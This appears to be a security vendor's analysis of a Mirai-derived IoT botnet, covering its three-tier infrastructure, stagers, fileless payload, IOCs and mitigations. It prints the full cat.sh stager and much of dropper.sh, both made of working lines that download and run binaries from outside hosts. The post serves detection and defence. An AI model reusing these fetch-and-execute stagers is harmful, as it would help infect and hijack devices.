Anatomy of a Multi-Architecture IoT Botnet

Anatomy of a Multi-Architecture IoT Botnet

Cyber threats are constantly evolving, making early detection and contextual analysis essential for effective defense. During routine monitoring with Attack Intelligence, Rover ML identified suspicious indicators that deviated from normal activity and flagged them for further investigation.

By continuously correlating threat intelligence from multiple sources and enriching the collected indicators with contextual data, the platform revealed infrastructure, relationships, and behavioral patterns that would have been difficult to identify through isolated indicators alone. Analyst validation confirmed the activity, leading to the discovery documented in this research.

In this blog, we walk through the investigation process, present the evidence behind the finding, and explain why the identified activity is relevant for security teams monitoring similar threats.

A brute-force stager, an adaptive dropper, and a C2 hiding behind a real web server — one campaign, three infrastructure tiers, and a payload that deletes itself the moment it starts running.


The botnet reached out and touched the sensors, attempting propagation the same way it would against any exposed IoT device or edge router in the wild. That live interaction gave us the initial stager URLs, and from there we pulled every subsequent tier ourselves.

The lineage is familiar — the code borrows heavily from Mirai and Gafgyt, and it fans out across thirteen CPU architectures — but the operators have split their infrastructure into three deliberately separated tiers, layered in fallback logic that survives partial blocking, and built a payload that vanishes from disk seconds after it launches while continuing to run entirely in memory.

We followed the chain from the honeypot capture through both stagers, fingerprinted the C2, and pulled apart the resulting binary. This post walks through what we found, tier by tier.

Stage What happened
Reconnaissance The bot's built-in Telnet propagation engine probed the honeypot the same way it probes any exposed IoT device or edge router, giving analysts the initial stager URLs.
Initial access Exploitation of known edge-device RCE flaws (Realtek SDK, Huawei, D-Link, Netgear) or automated Telnet/SSH dictionary brute-forcing with default manufacturer credentials.
Execution cat.sh downloads all thirteen architecture binaries and hopes one runs; dropper.sh detects the host architecture with uname -m and fetches exactly one.
Defense evasion The binary masks termination signals (SIGTERM, SIGINT, etc.), renames itself in argv to mimic telnet or busybox, clears its own stack buffers, and calls unlink() on its own path seconds after launch so it keeps running fileless from memory.
Persistence No disk-based persistence mechanism is documented — the process survives only in memory until reboot, and the campaign relies on repeated propagation attempts to reinfect rather than surviving on a single host indefinitely.
Impact Once running, the bot inspects /proc for competing processes, kills anything already bound to the port it wants, and hunts down and terminates rival bot families (Mirai, Gafgyt, Hajime) and cryptominers to monopolize CPU and bandwidth.
Propagation Successfully placed binaries are launched with telnet passed as an execution argument, switching the bot into its own Telnet propagation and scanning mode against new targets, while the C2 at 107.189.24.181:8080 serves updated payloads to both stagers.

The Infrastructure: Three Tiers, Three Jobs

The campaign doesn't run one script from one server. It runs three:

Tier Role Host
Staging Node A Legacy brute-force stager, raw multi-arch binaries 165.22.69.214 (DigitalOcean, AS14061)
Staging Node B Adaptive orchestration stager 144.172.105.233 (Cloudzy / HostRoyale)
C2 / Payload Repository Updated payloads, telemetry ingestion 107.189.24.181:8080

A scan of the C2 node confirms it's fronted by a real web server rather than a bare listener — a small detail that makes the infrastructure look far less suspicious to casual scanning than a raw socket would:

nmap -Pn -p 8080,80,443 -sV 107.189.24.181 — the C2 host resolves to cloudzy.com infrastructure and runs Caddy on port 80, with port 8080 filtered from casual scanning.

$ nmap -Pn -p 8080,80,443 -sV 107.189.24.181

Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-06 04:17 -0400
Nmap scan report for 181.24.189.107.static.cloudzy.com (107.189.24.181)
Host is up (0.079s latency).

PORT     STATE    SERVICE   VERSION
80/tcp   open     http      Caddy httpd
443/tcp  open     ssl/https
8080/tcp filtered http-proxy

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 11.51 seconds

That filtering on 8080 is worth noting: the operators aren't hiding the host entirely, they're hiding the specific port their payloads actually call home to.


Stage 1: Two Stagers, Two Philosophies

The brute-force path — cat.sh

Staging Node A is the tier that hit our honeypot first. The bot's built-in Telnet propagation engine attempted the same credential-stuffing-then-fetch pattern it would run against any exposed device, pulling cat.sh from 165.22.69.214 as part of the attempted infection. We retrieved the script ourselves to see exactly what it was trying to do to the sensor:

cat.sh, retrieved from 165.22.69.214, makes no attempt to detect the target's architecture — it just downloads all thirteen variants and hopes one runs.

$ curl -A "Mozilla/5.0" 165.22.69.214/cat.sh -o cat.sh
$ cat cat.sh

#!/bin/sh
wget http://165.22.69.214/iran.x86_64 -O /tmp/iran.x86_64 || \
curl http://165.22.69.214/iran.x86_64 -o /tmp/iran.x86_64; \
chmod 777 /tmp/iran.x86_64; \
/tmp/iran.x86_64 default;

wget http://165.22.69.214/iran.aarch64 -O /tmp/iran.aarch64 || \
curl http://165.22.69.214/iran.aarch64 -o /tmp/iran.aarch64; \
chmod 777 /tmp/iran.aarch64; \
/tmp/iran.aarch64 default;

wget http://165.22.69.214/iran.m68k -O /tmp/iran.m68k || \
curl http://165.22.69.214/iran.m68k -o /tmp/iran.m68k; \
chmod 777 /tmp/iran.m68k; \
/tmp/iran.m68k default;

wget http://165.22.69.214/iran.mips -O /tmp/iran.mips || \
curl http://165.22.69.214/iran.mips -o /tmp/iran.mips; \
chmod 777 /tmp/iran.mips; \
/tmp/iran.mips default;

wget http://165.22.69.214/iran.mipsel -O /tmp/iran.mipsel || \
curl http://165.22.69.214/iran.mipsel -o /tmp/iran.mipsel; \
chmod 777 /tmp/iran.mipsel; \
/tmp/iran.mipsel default;

wget http://165.22.69.214/iran.powerpc -O /tmp/iran.powerpc || \
curl http://165.22.69.214/iran.powerpc -o /tmp/iran.powerpc; \
chmod 777 /tmp/iran.powerpc; \
/tmp/iran.powerpc default;

wget http://165.22.69.214/iran.sparc -O /tmp/iran.sparc || \
curl http://165.22.69.214/iran.sparc -o /tmp/iran.sparc; \
chmod 777 /tmp/iran.sparc; \
/tmp/iran.sparc default;

wget http://165.22.69.214/iran.sh4 -O /tmp/iran.sh4 || \
curl http://165.22.69.214/iran.sh4 -o /tmp/iran.sh4; \
chmod 777 /tmp/iran.sh4; \
/tmp/iran.sh4 default;

wget http://165.22.69.214/iran.arc -O /tmp/iran.arc || \
curl http://165.22.69.214/iran.arc -o /tmp/iran.arc; \
chmod 777 /tmp/iran.arc; \
/tmp/iran.arc default;

wget http://165.22.69.214/iran.i486 -O /tmp/iran.i486 || \
curl http://165.22.69.214/iran.i486 -o /tmp/iran.i486; \
chmod 777 /tmp/iran.i486; \
/tmp/iran.i486 default;

wget http://165.22.69.214/iran.armv4l -O /tmp/iran.armv4l || \
curl http://165.22.69.214/iran.armv4l -o /tmp/iran.armv4l; \
chmod 777 /tmp/iran.armv4l; \
/tmp/iran.armv4l default;

wget http://165.22.69.214/iran.armv5l -O /tmp/iran.armv5l || \
curl http://165.22.69.214/iran.armv5l -o /tmp/iran.armv5l; \
chmod 777 /tmp/iran.armv5l; \
/tmp/iran.armv5l default;

wget http://165.22.69.214/iran.armv6l -O /tmp/iran.armv6l || \
curl http://165.22.69.214/iran.armv6l -o /tmp/iran.armv6l; \
chmod 777 /tmp/iran.armv6l; \
/tmp/iran.armv6l default;

There's no environmental profiling here at all. The script loops through thirteen architecture-specific binaries — iran.x86_64, iran.aarch64, iran.m68k, iran.mips, iran.mipsel, iran.powerpc, iran.sparc, iran.sh4, iran.arc, iran.i486, iran.armv4l, iran.armv5l, iran.armv6l — via wget, falling back to curl on failure, dropping each into /tmp and immediately running chmod 777 against it. Whichever binary happens to match the host's architecture and CPU family runs; the rest simply fail silently. It's a volume play, not a precision one, and every successfully placed binary is launched with telnet passed as an execution argument, which switches the bot into its Telnet propagation and scanning mode.

The adaptive path — dropper.sh v2.1

Staging Node B runs a noticeably more careful script. The header comments alone lay out its whole design philosophy:

dropper.sh v2.1, retrieved from 144.172.105.233 — the comments describe it as "exec-verified" with a three-tier delivery order: HTTP compiled bot → HTTP shell bot → DNS TXT chunks.

$ curl -s http://144.172.105.233/dropper.sh -o dropper.sh
$ head -n 35 dropper.sh

#!/bin/sh
# Arch-aware dropper - serves the right compiled bot per device arch
# Falls back to shell bot if compiled download OR EXECUTION fails
# v2.1: exec-verified compiled launch + dropper-fired beacon on any success
# Delivery order: HTTP compiled bot -> HTTP shell bot -> DNS TXT chunks

PAYLOAD_HOST="107.189.24.181"
SH_BOT="http://${PAYLOAD_HOST}:8080/bot_staged.sh"
DNS_SRV="${PAYLOAD_HOST}"
INSTALL_DIR="/tmp"
BOT_NAME=".sysupdate"
VER="2.1"

ARCH=$(uname -m 2>/dev/null)

# Pick the right binary for this architecture
case "$ARCH" in
  x86_64)
    BIN="bot_linux_x64"
    ;;
  i386|i486|i586|i686)
    BIN="bot_linux_x64"
    ;;
  armv7l|armv6l)
    BIN="bot_linux_arm"
    ;;
  aarch64)
    BIN="bot_linux_arm64"
    ;;
  mips)
    BIN="bot_linux_mips"
    ;;
  mipsel)
    BIN="bot_linux_mipsel"
    ;;
  *) BIN=""
    ;;
esac

download() {
  if command -v wget >/dev/null 2>&1; then
    wget -q -O "$1" "$2" 2>/dev/null
    return $?
  elif command -v curl >/dev/null 2>&1; then
    curl -s -o "$1" "$2" 2>/dev/null
    return $?
  elif command -v busybox >/dev/null 2>&1; then
    busybox wget -q -O "$1" "$2" 2>/dev/null
    return $?
  fi
  return 1
}

# DNS fallback: fetch bot via TXT chunk queries when HTTP fails
dns_download() {
  ...

Rather than brute-forcing every architecture, dropper.sh runs uname -m first and maps the result to exactly one binary via a case statement — bot_linux_x64 for x86_64/i386/i686, bot_linux_arm for armv6l/armv7l, bot_linux_arm64 for aarch64, and matched variants for mips/mipsel. Its download() function waterfalls through wget, then curl, then busybox wget, covering the minimal userlands common on embedded devices.

The header comments describe the script's own resilience model plainly: v2.1 is "exec-verified" — after launching the compiled binary, it sleeps two seconds and checks the process with kill -0 rather than trusting the exit code. If that fails, it falls back to a universal shell bot (bot_staged.sh, served from the C2 at 107.189.24.181:8080), and if HTTP delivery fails entirely, it falls back to DNS TXT record chunks pulled against the same C2 host — a covert channel that survives HTTP-layer blocking. The install directory (/tmp) and the bot's disguised name (.sysupdate) are both set as variables near the top of the script, alongside the payload host and version string.

Two stagers, two philosophies: Node A wins through brute-force redundancy, Node B wins through precision and layered fallback. Both terminate at the same C2.


Stage 2: Inside the Payload

We pulled iran.x86_64 for analysis.

Property Value
File type ELF 64-bit LSB executable, x86-64, SYSV
Linking Statically linked, stripped
Size 164,272 bytes
SHA-256 41973e5dc419ef5d31ba3c0b984ae22d80dddd15d3bf65696e7e0c919134430f

It deletes itself while still running

The most important behavior in the sample is fileless persistence. Immediately after execution, the binary calls unlink() on its own path in /tmp. The file disappears from disk within moments of launch while the process continues running from memory — there's no executable artifact left for disk-based forensics or file-integrity monitoring to find once the initial window has passed.

It ignores you on purpose

The binary masks SIGHUP, SIGINT, SIGTRAP, SIGTERM, SIGCHLD, SIGTTIN, and SIGTTOU. A terminal hangup, a Ctrl+C, or a routine kill won't stop it, and the masked trap signals interfere with common debugging workflows. It also renames itself in argv to mimic legitimate process names like telnet or busybox, so a quick glance at ps won't flag it either.

Before opening any sockets, it clears its own stack buffers — a small step aimed specifically at defeating memory-scraping analysis of its connection parameters. When it does talk to its C2, it does so over hardcoded TCP port 31337, a long-standing "elite" port association in the botnet ecosystem and a solid network-layer detection signature on its own.

It fights for the host

Once running, the bot inspects /proc for competing processes. If it can't bind a port because something else already holds it, it identifies the PID, kills it, and takes the port. It goes further than defending its own turf: it actively hunts and terminates rival bot families — older Mirai variants, Gafgyt, Hajime — along with cryptocurrency miners, monopolizing the host's CPU and bandwidth for its own operator.


How It Gets In

Initial access runs through two channels. The first is exploitation of known edge-device RCE flaws — specifically Realtek SDK vulnerabilities (CVE-2021-35394, CVE-2014-8361) alongside unauthenticated RCE issues in Huawei, D-Link, and Netgear routers. The second is straightforward: automated dictionary brute-forcing over Telnet (23) and SSH (22) using default manufacturer credentials like admin:admin and root:root.


Detecting Exploitation vs. Background Noise

Not every hit against these ports is this campaign. The signals worth escalating on:

Background noise This campaign
Isolated Telnet/SSH connection attempts Sustained credential-stuffing bursts against 23/22 using default manufacturer pairs
A single outbound HTTP request to an unfamiliar IP wget/curl loops pulling architecture-named binaries (iran.*, bot_linux_*) into /tmp
A short-lived process in /tmp An executable that vanishes from /tmp seconds after being launched, while a process with a spoofed name continues running
Normal outbound traffic Outbound connections on TCP/31337, or unexplained DNS TXT record queries toward known C2 infrastructure

The fileless behavior is the strongest tell. If you catch a binary being written to /tmp and it's gone before you can pull a copy, that's not cleanup — that's the malware doing exactly what it was built to do.


Indicators of Compromise

Network

Indicator Role
165.22.69.214 Staging Node A — cat.sh, iran.* binaries (DigitalOcean/AS14061)
144.172.105.233 Staging Node B — dropper.sh v2.1 (Cloudzy/HostRoyale)
107.189.24.181:8080 C2 and payload repository (Caddy httpd)
TCP/31337 Hardcoded bot C2 port

Payload hash

SHA-256: 41973e5dc419ef5d31ba3c0b984ae22d80dddd15d3bf65696e7e0c919134430f

Host / file

Indicator Context
cat.sh Stage 1 brute-force stager, served from 165.22.69.214
dropper.sh (v2.1) Stage 1 adaptive stager, served from 144.172.105.233
/tmp/iran.x86_64 Retrieved payload; SHA-256 as above
iran.mips, iran.armv4l, iran.aarch64, iran.m68k, iran.mipsel, iran.powerpc, iran.sparc, iran.sh4, iran.arc, iran.i486, iran.armv5l, iran.armv6l Remaining architecture-specific payload variants dropped by cat.sh
bot_linux_x64, bot_linux_arm, bot_linux_arm64, bot_linux_mips, bot_linux_mipsel Architecture-matched payload variants fetched by dropper.sh's case statement
bot_staged.sh Universal shell-bot fallback served by the C2 if the compiled binary fails
.sysupdate Disguised process/file name used by dropper.sh on the infected host

What to Do About It

  1. Block the infrastructure. All three IPs — 165.22.69.214, 144.172.105.233, 107.189.24.181 — belong at the perimeter blocklist.
  2. Watch for the port. Alert on outbound TCP/31337 and on DNS TXT queries toward the C2 host; the tunneling fallback only shows up when HTTP delivery has already failed.
  3. Patch the entry points. Prioritize firmware updates addressing the Realtek SDK CVEs and equivalent RCE advisories for Huawei, D-Link, and Netgear devices.
  4. Kill default credentials. Disable Telnet where it isn't needed, and replace default manufacturer logins across anything internet-facing.
  5. Monitor /tmp for ghosts. Look for executable creation in /tmp or /var/run followed by near-immediate deletion from disk while the process keeps running — that pattern alone is close to a confirmed hit for this campaign.
  6. Don't trust ps alone. Cross-check process listings against /proc directly if you suspect argv-spoofing; a renamed telnet or busybox process with an open socket to an unfamiliar IP is worth pulling on.

Closing Thoughts

None of the individual techniques here are new — Mirai-derived credential stuffing, /tmp-resident execution, signal masking, and fileless persistence via unlink() are all well-documented. What stands out is the infrastructure discipline: a disposable, high-volume brute-force tier that costs the operator nothing to lose, sitting alongside a precision tier that fingerprints its target before committing a binary, both converging on a C2 that hides its true port behind a legitimate-looking web server.

That separation buys resilience. Taking down Staging Node A doesn't touch the adaptive path on Node B, and losing either stager doesn't touch the C2 itself. Defenders get the best return by going after the one node that has to stay reachable no matter what — 107.189.24.181 — while patching the entry points the whole campaign depends on in the first place.

Experience Next Generation Threat Intelligence

Minimize complexity and maintain secure posture with real-time monitoring and actionable insights

Get a Demo